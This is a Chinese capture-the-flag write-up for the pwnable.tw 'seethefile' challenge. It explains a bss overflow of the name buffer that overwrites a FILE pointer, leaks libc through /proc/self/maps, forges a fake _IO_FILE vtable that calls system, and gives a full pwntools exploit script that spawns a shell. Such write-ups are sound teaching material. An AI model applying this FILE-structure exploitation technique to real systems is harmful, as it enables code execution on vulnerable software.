avatar

pwnable.tw-seethefile-栈溢出构造fake-FILE

检查

1
2
3
4
5
6
7
8
$ file seethefile 
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped
$ checksec seethefile
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位程序,只开了NX,没去符号表

分析

程序提供的功能是可以打开、读取、打印、关闭文件,但是一次只能读取0x18F个字节,且有检测不能读取flag文件

漏洞点

程序在输入和读取的地方都做好了边界控制,但是在程序退出时:

1
2
3
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);

这里没有检查输入name的长度,导致可以覆盖name后面的内存。位于bss段的name后面就是那个文件的fp指针,之后又去调用了fclose并传入了这个fp指针,这里就是漏洞点所在。

前置知识之__IO_FILE

在利用之前,我们先来学习_IO_FILE。不过在学IO_FILE之前,我们先了解两个函数openfopen

文件描述符(低级IO) 文件流/文件指针(高级IO)
标准 POSIX ANSI C
层次 系统调用 libc
数据类型 int FILE *
函数 open/close/read/write fopen/fclose/fread/fwrite/fseek

所以要学习的_IO_FILE就是fopen这套libc实现的高级IO操作相关的一个结构体_IO是值其所在是libc的IO库中,所以说的FILE结构体值指的就是_IO_FILE,在stdio.h的头文件中有typedef:

/usr/include/stdio.h

1
2
3
4
5
6
struct _IO_FILE;
typedef struct _IO_FILE FILE;
typedef struct _IO_FILE __FILE;
extern struct _IO_FILE *stdin; /* Standard input stream. */
extern struct _IO_FILE *stdout; /* Standard output stream. */
extern struct _IO_FILE *stderr; /* Standard error output stream. */

至此我们可以开心的学习_IO_FILE

一句话概括为啥要研究_IO_FILElibc实现的文件流机制中存在可以被改写的函数指针

利用

所以我们的核心思路是构造fake FILE,从而使得fclose执行system('/bin/sh')

libc

libc的泄漏很简单,我们可以直接利用linux的proc伪文件系统读取/proc/self/maps即可获得libc基址,不过本地和远程的布局可能有些许的不同,因为一次最多只能读取0x18f个字节,所以我们获取到一个地址后,加上偏移即可得到libc基址

一般我们读取的是/proc/[pid]/maps,可以获取任意进程的映射信息,这里我们使用self是为了获取当前进程的内存映射关系

fake FILE

几个IO_FILE的知识:

1
2
3
4
1、_IO_FILE结构大小为0x94(32位)
2、_flags&0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINSH(fp)相当于调用fp->vtable->_finish(fp)
3、将fp指向一块内存p,p偏移0的前4个字节设置为0xffffdfff,p偏移4的位置放上参数';/bin/sh'(字符要以;开头);p偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存q,q的2*4字节处(vtable->_finish)覆盖为system即可
4、vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好

需要注意的是,我们这里的libc版本是2.23,2.24以上的版本会对虚表进行检查,需要绕过

故伪造如下:

1
2
3
4
5
6
7
fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3

exp

需要注意的是,我们在本地leak出来的libc基址和目标文件的基址并不一样,要一样可能需要使用docker调试

有意思的是,我们获取shell之后并不能直接cat flag直接获取,应该是为了防止非预期,需要./get_flag获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *
import sys, time

context(arch='amd64',os='linux',log_level='debug')

debug = 0
if debug:
elf = ELF("./seethefile")
libc = ELF("./libc_32.so.6")
io = process(elf.path)
else:
elf = ELF("./seethefile")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10200)

################################################
s = io.send #
sl = io.sendline #
sa = io.sendafter #
sla = io.sendlineafter #
r = io.recv #
rl = io.recvline #
ru = io.recvuntil #
it = io.interactive #
################################################

openfile = lambda name : (sla("choice :","1"),sla("see :", name))
readfile = lambda : sla("choice :","2")
writefile = lambda : sla("choice :","3")
printname = lambda name : (sla("choice :","5"),sla("name :", name))

# leak libc
openfile("/proc/self/maps")
readfile()
writefile()
io.recvuntil("[heap]\n")
libc_addr = int(io.recv(8),16)+0x1000
system_addr = libc_addr +libc.symbols['system']

# make fake file
fakeFILE = 0x0804B284
payload = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3

# get shell
printname(payload)

io.interactive()

参考:

文章作者: 0bs3rver
文章链接: http://yoursite.com/2020/11/28/pwnable-tw-seethefile-%E6%A0%88%E6%BA%A2%E5%87%BA%E6%9E%84%E9%80%A0fake-FILE/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0bs3rver的小屋